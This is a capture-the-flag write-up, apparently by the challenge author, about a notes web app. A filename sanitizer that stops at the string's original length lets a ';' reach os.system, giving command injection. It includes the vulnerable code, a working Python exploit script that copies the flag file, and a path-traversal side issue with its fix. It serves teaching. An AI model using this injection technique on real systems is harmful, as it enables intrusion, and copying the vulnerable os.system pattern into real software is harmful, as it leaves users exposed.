Notes App
This challenge involved a filter bypass resulting in a command injection vulnerability.
The primary objective of this challenge is to test participants' source code review, logical thinking and exploit development skills.
Overview
The challenge server, written in Python, allows a user to create notes, list notes and read a particular note. Each user is identified by a UUID and their notes are stored in a directory identified by their respective UUIDs.
For example, the note hello
created by user 67720f35-b44e-4cb8-9e59-d9bbf0329a27
would be stored in the file /notes/67720f35-b44e-4cb8-9e59-d9bbf0329a27/hello
.
Some safeguards are implemented to prevent exploitation of the service. For example, let's look at the read_note
function.
def valid_uuid(string):
return re.match(r"^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$", string)
def sanitize_filename(filename):
length = len(filename)
for i in range(length):
char = filename[i]
if char not in string.ascii_letters + string.digits:
filename = filename.replace(char, "XX")
return filename
def read_note(uuid, name):
if not valid_uuid(uuid):
return False, "Invalid UUID"
base = os.path.join(NOTES_DIR, uuid)
name = sanitize_filename(name)
note_path = os.path.join(base, name)
if os.path.commonpath([base, note_path]) != base:
return False, "You can't do that here"
if not os.path.isfile(note_path):
return False, "Note doesn't exist"
with open(note_path, "r") as f:
return True, f.read()
First, the user's UUID must be valid. This is checked via Regex in valid_uuid
.
Next, the name of the note is sanitized using sanitize_filename
. We will discuss this in more detail in the next section.
The sanitized name is then joined with the path to the notes directory. The paths are then checked against the notes directory using os.path.commonpath
to prevent directory traversal. As it turns out, this check is completely useless and does not work 🙃. I'll discuss this in the final section. Luckily, the impact of this failure is negated by the os.path.isfile
check and the sanitize_filename
function.
Once all checks pass, the contents of the file is returned to the user.
Vulnerability
The sanitize_filename
function does a very poor job of removing invalid characters from the input string.
The function will only iterate through the string up to its original length. However, if the filename contains disallowed characters, each would be replaced with XX
, thus increasing the length of the string.
For example, consider the input string *;
of length 2
. After processing the first character *
, the string will become XX;
. However, the ;
character will never be reached as it is in the third position, but the function will only iterate up to the second position.
Therefore, disallowed characters can be fairly easily smuggled through this function.
While several participants noticed the oddities of the sanitize_filename
function, most focused their efforts on searching for path traversal vulnerabilities in the read_note
function. However, the exploitable vulnerability actually lies in the write_note
function:
def write_note(uuid, name, data):
if not valid_uuid(uuid):
return False, "Invalid UUID"
base = os.path.join(NOTES_DIR, uuid)
name = sanitize_filename(name)
note_path = os.path.join(base, name)
if os.path.commonpath([base, note_path]) != base:
return False, "You can't do that here"
if os.path.isfile(note_path):
return False, "Note already exists!"
if not os.path.exists(base):
os.mkdir(base)
b64ed = base64.b64encode(data.encode()).decode()
os.system(f"echo {b64ed} | base64 -d > {note_path}")
return True, name
Most of the checks are the same as read_note
. The only difference is the sanitized filename is now passed to os.system
.
After bypassing sanitize_filename
, we can easily inject ;
to terminate the current command and execute a new custom command to read the flag. The challenge now is to put everything together and somehow extract the flag.
Exploitation
After sending about a hundred *
s, the effects of sanitize_filename
are completely negated.
Now, we can freely execute any command. There are multiple ways to extract the flag, but the easiest is probably to copy it to a note in your user account and subsequently read the note.
Here's an implementation of that approach:
import requests
target = "http://challs.nusgreyhats.org:55601/"
s = requests.Session()
res = s.post(target + "/create", data={"name": "bleh", "body": "doesn't matter"})
uuid = res.cookies.get("uuid")
s.post(target + "/create", data={"name":"*" * 100 + f";cp flag.txt notes/{uuid}/flag", "body": "doesn't matter"})
print(s.get(target + "/read?name=flag").text)
Unintended vulnerability
The following check on its own proved insufficient to prevent path traversal.
note_path = os.path.join(base, name)
if os.path.commonpath([base, note_path]) != base:
return False, "You can't do that here"
For example, if base
was /notes
and name
was ../../flag
, note_path
would be /notes/../../flag
.
Since os.path.commonpath
simply checks if the two paths start with the same path, os.path.commonpath([base, note_path]) != base
would be False
and the check would not be triggered.
Instead, the following check should have been used instead:
base = os.path.realpath(base)
note_path = os.path.realpath(os.path.join(base, name))
if os.path.commonpath([base, note_path]) != base:
return False, "You can't do that here"
Why it wasn't a problem
Let's consider a path traversal attempt such as '*' * 50 + '/../../../flag.txt'
. After passing through sanitize_filename
and os.path.join
, it would become something like ./notes/<uuid>/XXX...XXX/../../../flag.txt
.
This input would then be passed to os.path.isfile
. The problem for such an attack vector is os.path.isfile
requires all parts of the path to be valid directories. Since there is no way for ./notes/<uuid>/XXX...XXX/
to be a valid directory, os.path.isfile
will return False
and the attack will fail.
This bug was detected shortly before the CTF started and I decided not to fix it, as it did not affect how the challenge could be solved.
Author's observations
The combination of file system access and command injection caused a few participants to be confused. The relatively large and complicated codebase was also a challenge.
Several participants were able to bypass the sanitization function but were unable to successfully build a full exploit.
One participant experienced an issue where the generated file path was too long as they had used too many *
(on the order of several hundreds). Setting up a local instance via Docker, though requiring substantial investment of effort, would greatly ease troubleshooting and resolution of these issues.